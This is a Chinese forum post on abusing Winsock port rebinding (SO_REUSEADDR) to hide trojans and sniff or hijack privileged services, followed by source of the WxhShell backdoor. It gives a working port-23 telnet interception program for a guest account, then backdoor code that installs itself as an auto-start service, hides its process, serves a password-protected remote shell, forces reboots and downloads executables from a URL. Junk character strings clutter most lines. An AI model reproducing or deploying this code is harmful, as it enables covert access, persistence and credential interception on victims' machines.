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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: =Xi07_8Ic<  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); K@I D/]PF  
"P 7nNa  
  saddr.sin_family = AF_INET; d:BG#\e]v  
U>]$a71  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Q.l}NtHwV  
yE:+Lo`>  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); c3 jx+Q  
,?>s>bHV  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 8K:y\1  
i,>khc  
  这意味着什么?意味着可以进行如下的攻击: AL9chYP}/  
)c8rz[i  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 &e @2  
F*IzQ(#HW  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 5gYRwuf  
#M9~L[nF S  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ?9e_gV{&;  
BXtCSfY $  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Zq+v6fk_Mn  
[tlI!~Z  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ZP@ $Q%up  
Ag9vU7  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 0)Uce=t`  
C 3^JAP  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 r)y=lAyF>  
 7''??X  
  #include 7%5z p|3  
  #include zZL6z4g  
  #include HVi'eNgo  
  #include    arIf'CG6  
  DWORD WINAPI ClientThread(LPVOID lpParam);   6a[}'/  
  int main() J%u=Ucdh  
  { o} J&E{Tk  
  WORD wVersionRequested; )(bW#-  
  DWORD ret; ")SFi^]  
  WSADATA wsaData; mk;&yh  
  BOOL val; ) pzy  
  SOCKADDR_IN saddr; Lt u'W22  
  SOCKADDR_IN scaddr; Bal$+S  
  int err; NP0\i1P>.?  
  SOCKET s; T$>WE= Y  
  SOCKET sc; h}[-'>{  
  int caddsize; ]OM"ZG/^  
  HANDLE mt; c/D+|X*  
  DWORD tid;   {j9{n  
  wVersionRequested = MAKEWORD( 2, 2 ); } df W%{  
  err = WSAStartup( wVersionRequested, &wsaData ); 5 h-@|t  
  if ( err != 0 ) { s3z$e+A8  
  printf("error!WSAStartup failed!\n"); y&6FybIz  
  return -1; `95r0t0hh\  
  } B^1>PE  
  saddr.sin_family = AF_INET; H3z: ZTI  
   +9M^7/}H  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 8m-U){r!U^  
\HqNAE2T  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); t)~"4]{*}D  
  saddr.sin_port = htons(23); SEo'(-5  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) tI`Q/a5@  
  { BBaQ}{F8>2  
  printf("error!socket failed!\n"); *1 uKr9  
  return -1; o*-)Tq8GHE  
  } U_M$#i{_  
  val = TRUE; Z?6%;n^ 54  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Dt}JG6S  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) J1,9kCO  
  { /kE6@  
  printf("error!setsockopt failed!\n"); %aHB"vi6  
  return -1; T/b6f;t-s  
  } 6"wlg!k8  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /z4$gb7Y  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 WYHQ?  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 X.OD`.!>  
q8FTi^=Kb  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ? E1<!~  
  { 7S-ys+  
  ret=GetLastError(); MDnKX?Y  
  printf("error!bind failed!\n"); v_<rNc,z-s  
  return -1; 6^V=?~a&z  
  } pM+ AjPr  
  listen(s,2); 2a-w% (K  
  while(1) )Lk639r  
  { QiQ_bB!\  
  caddsize = sizeof(scaddr); B\=L3eL<D  
  //接受连接请求 UxbjA- U[  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 6@Y_*4$|  
  if(sc!=INVALID_SOCKET) VF&(8X\   
  { Dl<bnx;0  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @D.}\(  
  if(mt==NULL) lAS#874dE  
  { 9Z|jxy  
  printf("Thread Creat Failed!\n"); v:f}XK<  
  break; ]%hn`ZJ  
  } s6H]J{1F  
  }  .t{MIC  
  CloseHandle(mt); o\[~.";Z  
  } |WQBDB`W  
  closesocket(s); ]q;Emy  
  WSACleanup(); 1 8|m)(W  
  return 0;  '<jyw   
  }   ,KF 'TsFf  
  DWORD WINAPI ClientThread(LPVOID lpParam) #pT"BSz]  
  { Vrjc~>X  
  SOCKET ss = (SOCKET)lpParam; -c_74c50  
  SOCKET sc; viW!,QQ(S  
  unsigned char buf[4096]; ]}Mj)J"m  
  SOCKADDR_IN saddr; US+Q~GTA  
  long num; {}>0e:51  
  DWORD val; f~t:L, \,  
  DWORD ret; ^?-:'<4q$  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Qk0R a_  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   V3 9g,=`b%  
  saddr.sin_family = AF_INET; Y#]+Tm (+  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); -j+UMlkB  
  saddr.sin_port = htons(23); 4~ q5,^kgB  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) pf2[ , v/  
  { b[sx_b  
  printf("error!socket failed!\n"); XtXEB<4Z  
  return -1; qaqBOHI6G  
  } ]S&&|Fc  
  val = 100; 'OE&/ C [  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ."TxX.&HE  
  { O)C\v F#  
  ret = GetLastError(); zE336  
  return -1; hP=WFD&  
  } 1[mXd  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) xj<Rp|7&  
  { G|[=/>~B  
  ret = GetLastError(); o906/5M  
  return -1; xN>npP   
  } ;PF`Wj  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ynmWW^dg  
  { <>n0arAn  
  printf("error!socket connect failed!\n"); >Y&N8PHD  
  closesocket(sc); wc0jhHZO ?  
  closesocket(ss); IrR7"`.i  
  return -1; Yw22z #K  
  } $Ad{Z  
  while(1) N@;?CKU  
  { -<c=US  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 jTf@l?|  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 CHdX;'`*  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 aC^\(wp[  
  num = recv(ss,buf,4096,0); heltgRt  
  if(num>0) )bA;?i  
  send(sc,buf,num,0); Bt[/0>i  
  else if(num==0) \@-@Y  
  break; f"B3,6m  
  num = recv(sc,buf,4096,0); )) Zf|86N  
  if(num>0) >lmi@UN|k  
  send(ss,buf,num,0); +ylTGSZS  
  else if(num==0) !5wIIS:FT  
  break; ' WMh8)  
  } yID 164&r  
  closesocket(ss); 1da@3xaF  
  closesocket(sc); 3ovWwZ8&  
  return 0 ; ];}Wfl  
  } Q;MT"=RW  
t$ +?6E  
@M<|:Z %.@  
========================================================== yTyj'-4  
cO-7ke  
下边附上一个代码,,WXhSHELL  |$+3a  
ZkgV_<M|  
========================================================== =31"fS@  
{ .n"Z  
#include "stdafx.h" +~St !QV%  
2:*w~|6>}5  
#include <stdio.h> ?J' Y&  
#include <string.h> a! (4Ch  
#include <windows.h> v.\*./-i  
#include <winsock2.h> f'8kish  
#include <winsvc.h> +[Dj5~V  
#include <urlmon.h> 4)E_0.C  
C#QpQg2  
#pragma comment (lib, "Ws2_32.lib") Pl(Q,e7O]  
#pragma comment (lib, "urlmon.lib") "B8Q:  
TbA}BFT`  
#define MAX_USER   100 // 最大客户端连接数 D,m]CK '  
#define BUF_SOCK   200 // sock buffer ;1#H62Z*  
#define KEY_BUFF   255 // 输入 buffer c@YI;HS_g  
gep;{G}  
#define REBOOT     0   // 重启 g6nkZyw  
#define SHUTDOWN   1   // 关机 K7$x<5+)  
yZd +^QN  
#define DEF_PORT   5000 // 监听端口 H!vax)%-\  
xE1 eT,  
#define REG_LEN     16   // 注册表键长度 |yvQ[U~PQ  
#define SVC_LEN     80   // NT服务名长度 &vHoRY  
w|3z;-#Q;  
// 从dll定义API L%">iQOG#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); P<oehw'>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); S(QpM.9*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); R[Ll59-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); | H!28h  
KjV:|  
// wxhshell配置信息 V zBqjE_  
struct WSCFG { , l%C X.9  
  int ws_port;         // 监听端口 c_\YBe]wJ  
  char ws_passstr[REG_LEN]; // 口令 ;V@WtZv  
  int ws_autoins;       // 安装标记, 1=yes 0=no %lL.[8r|  
  char ws_regname[REG_LEN]; // 注册表键名 ;sfb 4x4  
  char ws_svcname[REG_LEN]; // 服务名 Ok{*fa.PK  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 EQ2#/>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 J5*tJoCYS  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ckV`OaRw4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no oV)~@0B&0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" avjpA ?Vz  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0WT{,/>  
hhb?6]Z/  
}; )@N2  
UYFwS/ RW}  
// default Wxhshell configuration [N1hWcfvd  
struct WSCFG wscfg={DEF_PORT, )_a~} U]=.  
    "xuhuanlingzhe", b`L%t:u{d  
    1, Cv }Qwy  
    "Wxhshell", "~`I::'c  
    "Wxhshell", FE" y\2}  
            "WxhShell Service", - *F(7$  
    "Wrsky Windows CmdShell Service", Kqun^"Df  
    "Please Input Your Password: ",  R=.4  
  1, S2n39 3  
  "http://www.wrsky.com/wxhshell.exe", yPM3a7-Bm  
  "Wxhshell.exe" `{,Dy!rL  
    }; +U_=*"@|  
* +'x~a  
// 消息定义模块 Ny_lrfh)[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Z:ni$7<.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1[kMOp  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; nYWvTvZ  
char *msg_ws_ext="\n\rExit."; Z -,J)gW  
char *msg_ws_end="\n\rQuit."; KiRUvWqa  
char *msg_ws_boot="\n\rReboot..."; ]'5;|xc9$/  
char *msg_ws_poff="\n\rShutdown..."; :!/gk8F|dI  
char *msg_ws_down="\n\rSave to "; m7&O9?X  
r~+\ Y"rM  
char *msg_ws_err="\n\rErr!"; |\_^ B  
char *msg_ws_ok="\n\rOK!"; [qdRUV'  
~jK{ ,$:=  
char ExeFile[MAX_PATH]; t(GR)&>.2  
int nUser = 0; pp.6Ex (R  
HANDLE handles[MAX_USER]; 6)z?f4,  
int OsIsNt; ]DZE%  
{)DHH:n  
SERVICE_STATUS       serviceStatus; 6Z#\CixG  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $f,n8]  
Sa\!*e_sN  
// 函数声明 f?oa"   
int Install(void); Av?2<  
int Uninstall(void); yvgrIdEP  
int DownloadFile(char *sURL, SOCKET wsh); Q F-LU  
int Boot(int flag); UUF ;p2{f  
void HideProc(void); ub7zA!%  
int GetOsVer(void); 6UevpDB  
int Wxhshell(SOCKET wsl); df*5,NV'-*  
void TalkWithClient(void *cs); iQ4);du  
int CmdShell(SOCKET sock); H(2!1?N+  
int StartFromService(void); ".SJ~`S  
int StartWxhshell(LPSTR lpCmdLine); ;GVV~.7/  
_nD$b={g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); FvN<<&B  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #Pw2Q  
Op"M.]#  
// 数据结构和表定义 o8zy^zN$6  
SERVICE_TABLE_ENTRY DispatchTable[] = y'(Ne=y  
{ M(RZ/x  
{wscfg.ws_svcname, NTServiceMain}, /D5`   
{NULL, NULL} ;^ La"m  
}; xBUya4w  
HODz*pI  
// 自我安装 o[v\|Q`d  
int Install(void) Z-8Yd6 4  
{ ? 9! Z<H  
  char svExeFile[MAX_PATH]; \ W?R  
  HKEY key; v.Q(v\KV5  
  strcpy(svExeFile,ExeFile); ZeUvyIG  
on0]vEE  
// 如果是win9x系统,修改注册表设为自启动 9Rn? :B~W:  
if(!OsIsNt) { {n/uh0>f*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ; l&4V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I/M_p^  
  RegCloseKey(key); so)"4 SEu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jx.[#6e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZIPl7tTw  
  RegCloseKey(key); _ ):d`O e  
  return 0; [vMvV4,  
    } RaWG w  
  } pAb.c  
} NM]s8cK_  
else { _$wmI/_J M  
WuPH'4b 5  
// 如果是NT以上系统,安装为系统服务 ?6L&WB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6 ` Aj%1  
if (schSCManager!=0) "VkTY|a  
{ tniDF>Rb  
  SC_HANDLE schService = CreateService lZyG)0t,g  
  ( E Q4KV  
  schSCManager, &LF` W  
  wscfg.ws_svcname, "]oO{'1X  
  wscfg.ws_svcdisp, qb5#_1qz+^  
  SERVICE_ALL_ACCESS, I8+~ &V}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [cTe54n  
  SERVICE_AUTO_START, %STliJ  
  SERVICE_ERROR_NORMAL, %|^OOU}  
  svExeFile, )x}l3\s  
  NULL, *<E]E?  
  NULL, N2oRJ,:B  
  NULL, \Y|~2Ls8tu  
  NULL, 1z&Ly3  
  NULL i<H wTmm$  
  ); B=>RH!&  
  if (schService!=0) Q:|l`*.R  
  { K =C!b?  
  CloseServiceHandle(schService); oY1';&BO9  
  CloseServiceHandle(schSCManager); '" X_B0k  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); CT KG9 T  
  strcat(svExeFile,wscfg.ws_svcname); NE/m-ILw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { U~} U\_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); fV v.@HL{  
  RegCloseKey(key); [zL7Q^~  
  return 0; -+7uy.@cS  
    } ]W Zq^'q.  
  } f;&]:2.j  
  CloseServiceHandle(schSCManager); rC.eyq,105  
} &ISb~5  
} UPc<gB  
"p/j; 6H  
return 1; qw7@(R'"  
} za:a)U^n  
.s<*'B7&  
// 自我卸载 ~go fQ  
int Uninstall(void) 2u"7T_"2D  
{ :9R=]#uD  
  HKEY key; `%E8-]{uS  
4B4Z])$3  
if(!OsIsNt) {  |y h\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cXR1grz  
  RegDeleteValue(key,wscfg.ws_regname); v?0r`<Mn  
  RegCloseKey(key); 1=|7mehL%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nI/kw%<  
  RegDeleteValue(key,wscfg.ws_regname); Dy]I8_  
  RegCloseKey(key); N%7{J  
  return 0; :LWn<,4F&  
  } ari7iF ~j  
} 6vp *9  
} osOVg0Gyj  
else { 'DCFezdf3  
L>!8YUz7p$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); K*IxUz(  
if (schSCManager!=0) xy8#2  
{ c(U  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8K;Y2 #  
  if (schService!=0) jSOS}!=  
  { \eGKkSy  
  if(DeleteService(schService)!=0) { g|Y] wd  
  CloseServiceHandle(schService); Q\Gq|e*  
  CloseServiceHandle(schSCManager); ?f*Q>3S)  
  return 0; h 6%[q x<  
  } `gpQW~*R-;  
  CloseServiceHandle(schService); &3v&i*DG,I  
  } ckjrk  
  CloseServiceHandle(schSCManager); !)qQbk  
} ^ *&X~8@)  
} *9 Q^5;y  
0G <hn8>  
return 1; jJ3zF3Id  
} HPQ/~0$  
>r)X:K+I  
// 从指定url下载文件 D6~+Y~R  
int DownloadFile(char *sURL, SOCKET wsh) *U=]@I}J  
{ |2`"1gt  
  HRESULT hr; K'1~^)*  
char seps[]= "/"; (X+s-4%  
char *token; SQWafD  
char *file; NQ|xM"MqD  
char myURL[MAX_PATH]; B|%tE{F  
char myFILE[MAX_PATH]; 1ndJ+H0H  
p T[gdhc  
strcpy(myURL,sURL); I\Glc=T*  
  token=strtok(myURL,seps); U>S`k6  
  while(token!=NULL) !umEyd@ "  
  { V &Mf:@y  
    file=token; `C_'|d<HA  
  token=strtok(NULL,seps); K{cbn1\,H  
  } ^1jk$$f  
2.Yi( r  
GetCurrentDirectory(MAX_PATH,myFILE); g):]'  
strcat(myFILE, "\\"); &hV Zx  
strcat(myFILE, file); f+Dn9t  
  send(wsh,myFILE,strlen(myFILE),0); ~2uh'e3  
send(wsh,"...",3,0); X6RQqen3:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); zzZg$9PT[  
  if(hr==S_OK) b^`AJK  
return 0; W9J1=  
else o%y;(|4t >  
return 1; X1A<$Am1  
~!+ _[uJ  
} znZ7*S >6\  
S<6k0b(,_3  
// 系统电源模块 oP,9#FC|(  
int Boot(int flag) q]<xMg#nu  
{ ivrXwZ7jT  
  HANDLE hToken; ; !$m1  
  TOKEN_PRIVILEGES tkp; )u@c3?$6  
kJ=L2g>W<.  
  if(OsIsNt) { _$/ +D:K  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); m-1?\bs  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); X;fy\HaU  
    tkp.PrivilegeCount = 1; 3@5p"X  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; LxJ6M/".  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `1p 8C%  
if(flag==REBOOT) { fk5XvL  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) K]N~~*`%`  
  return 0; 's@MQ! *  
} }++5_Z_  
else { X<MpN5%|Wo  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) t 6u-G+}  
  return 0; C ?H{CP  
} oL *n>dH  
  } : d'65KMi  
  else { VEh]p5D  
if(flag==REBOOT) { BpT"~4oV5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) dl[ob,aCK  
  return 0; 5RA<Z.  
} L :U4N*  
else { zg]Drm  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) I}:L]H{E  
  return 0; hhq$g{+[  
} e`DsP8-&v  
} irFc}.dI  
S|2VP8xY9  
return 1; I #l;~a<9z  
} :Kay$r0+  
=49o U  
// win9x进程隐藏模块 7t4v~'h;5e  
void HideProc(void) 5fq.*1f  
{ ^_w*XV  
`Yogq)G}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); XqFu(Lm8=  
  if ( hKernel != NULL ) [a D:A  
  { M'|)dM|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9 x [X<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); T+W3_xISX  
    FreeLibrary(hKernel); ]S]"`;Wh  
  } 1nXqi)&?;  
}wkaQQh  
return; AFtCqq#[  
} zg0%>iqO  
(+$ol'i  
// 获取操作系统版本 :xN8R^(  
int GetOsVer(void) p[;8  
{ T:)% P6/  
  OSVERSIONINFO winfo; hOSf'mi  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )T<D6l Lt  
  GetVersionEx(&winfo); \vs%U}IrO  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |?|K\UF(Y  
  return 1; I W8.  
  else >~>{;Wq(p+  
  return 0; cCYl$MskZ  
} oEPNN'~3  
/\TlO.B=  
// 客户端句柄模块 G#g{3}dcK  
int Wxhshell(SOCKET wsl) ${CYDD"mdy  
{ HD~jU>}}  
  SOCKET wsh; dRM5urR6,  
  struct sockaddr_in client; &Ky3Jb<:Gt  
  DWORD myID; l92!2$]b  
t3Qm-J}wSB  
  while(nUser<MAX_USER) 3P3:F2S R  
{ zv|M*Wu  
  int nSize=sizeof(client); \/ X{n*Hw?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0\ZaMu #  
  if(wsh==INVALID_SOCKET) return 1; +H?<}N*T  
~t$mw,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4*YOFU}l  
if(handles[nUser]==0) 5_PWGaQa  
  closesocket(wsh); )Xq@v']%~9  
else % i %ew4  
  nUser++; d"LoK,p#  
  } Q*,6X*W!~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Rd .U;>  
@'@s*9Nr  
  return 0; wK2yt?  
} 9$:QLE+t  
A8#.1uEgNb  
// 关闭 socket ?,D>+::  
void CloseIt(SOCKET wsh) B#| Z`mZ  
{ $^!a`Xr  
closesocket(wsh); e~tr^$/(  
nUser--; wBg<Q{J  
ExitThread(0); }g%KvYB_  
} C+X)">/+L  
N)9pz?*V  
// 客户端请求句柄 y21)~  
void TalkWithClient(void *cs) *(@L+D0N  
{ 200L  
eL]{#WL  
  SOCKET wsh=(SOCKET)cs; bbfDt^  
  char pwd[SVC_LEN]; bbE bf !E  
  char cmd[KEY_BUFF]; # Nu%]  
char chr[1]; bE VO<x+  
int i,j; e6tH/`Uln  
?/o2#iJx  
  while (nUser < MAX_USER) { ORV}j, Ym  
va`l*N5  
if(wscfg.ws_passstr) { ccHLL6F{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s_S<gR  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oG4w8+N  
  //ZeroMemory(pwd,KEY_BUFF); pDLu+ }@  
      i=0; I$3"|7[n  
  while(i<SVC_LEN) { c9Y2eetO  
[u`17hyX  
  // 设置超时 >%PL_<Vbv  
  fd_set FdRead; 3i@ "D  
  struct timeval TimeOut; h,!G7V  
  FD_ZERO(&FdRead); w^:V."}-$  
  FD_SET(wsh,&FdRead); VJ~X#Q  
  TimeOut.tv_sec=8; 1q}u?7nnSG  
  TimeOut.tv_usec=0; aTL8l.c2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  kg/+vJ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); E<X{72fb>  
jc%{a*n"vr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s2(w#n)  
  pwd=chr[0]; }[=xe(4]D  
  if(chr[0]==0xd || chr[0]==0xa) { UX-_{I QW  
  pwd=0; \-$b o=s.  
  break; m>Yo 9/XpZ  
  } L|C1C cP  
  i++; ]Omb :  
    }  uu WY4j6  
uFm(R/V  
  // 如果是非法用户,关闭 socket ex@,F,u>o  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [5Y$L  
} bo~{<UT  
=ELDJt  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); oUKBb&&O  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `Q1WVd29  
+qh< Fj>  
while(1) { %ojR?=ON  
@^y?Bh9jQ  
  ZeroMemory(cmd,KEY_BUFF); _v~D {H&}  
OW63^wA`s  
      // 自动支持客户端 telnet标准   0]h8)EW  
  j=0; oqd N5+xt  
  while(j<KEY_BUFF) { {LB }v;?l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1a=9z'8V  
  cmd[j]=chr[0]; 3x(MvW30Lg  
  if(chr[0]==0xa || chr[0]==0xd) { @qO8Jg"Q  
  cmd[j]=0; IQk#  
  break; @o3R`ZgC]\  
  } T$.-{I  
  j++; bD-/ZZz  
    } w.T=Lzp  
ulPrb>i  
  // 下载文件 Kl46CZs#8  
  if(strstr(cmd,"http://")) { t6h`WAZV  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8[`^(O#\E  
  if(DownloadFile(cmd,wsh)) VM2@{V/=~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'wB Huq  
  else xvx\H'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _;J9q}X  
  } ]"7DV3_  
  else { AHMV@o`V  
rs 1*H  
    switch(cmd[0]) {  wc+N  
  ^ ]6  80h  
  // 帮助 ?CT^Zegmr  
  case '?': { ]|$$:e^U9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |IcxegE  
    break; SX?$H~A  
  } X%9xuc  
  // 安装 -o!,,XYj .  
  case 'i': { H-cBXp5z  
    if(Install()) [P&,}o)+E0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "! 6 B5Oz  
    else  oRbYna?J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iQ]c k-  
    break; P15 *VPy  
    } |YGiATD4DG  
  // 卸载 18/@:u{  
  case 'r': { +&N&D"9A  
    if(Uninstall()) \(>$mtS:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w)m0Z4*  
    else rIFC#Jd/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V\M!]Nnxr  
    break; h%w\O Z7  
    } +@],$=aE?  
  // 显示 wxhshell 所在路径 ='bmjXu  
  case 'p': { ;gW|qb+#)j  
    char svExeFile[MAX_PATH]; <9@]|  
    strcpy(svExeFile,"\n\r"); x&fCe{5  
      strcat(svExeFile,ExeFile); ][5p.owJse  
        send(wsh,svExeFile,strlen(svExeFile),0); UH^wyK bM  
    break; f93X5hFnF  
    } o27`g\gDR,  
  // 重启 <K[Zl/7I  
  case 'b': { ]>4Qs  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); i+x6aQ24  
    if(Boot(REBOOT)) 'TN{8~Gt*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7n 95>as  
    else { Lr\ B  
    closesocket(wsh); .9fluAG  
    ExitThread(0); 4p.{G%h  
    } KW6" +,Th  
    break; &CmkNm_B  
    } >(6\ C  
  // 关机 )B&<Bk+  
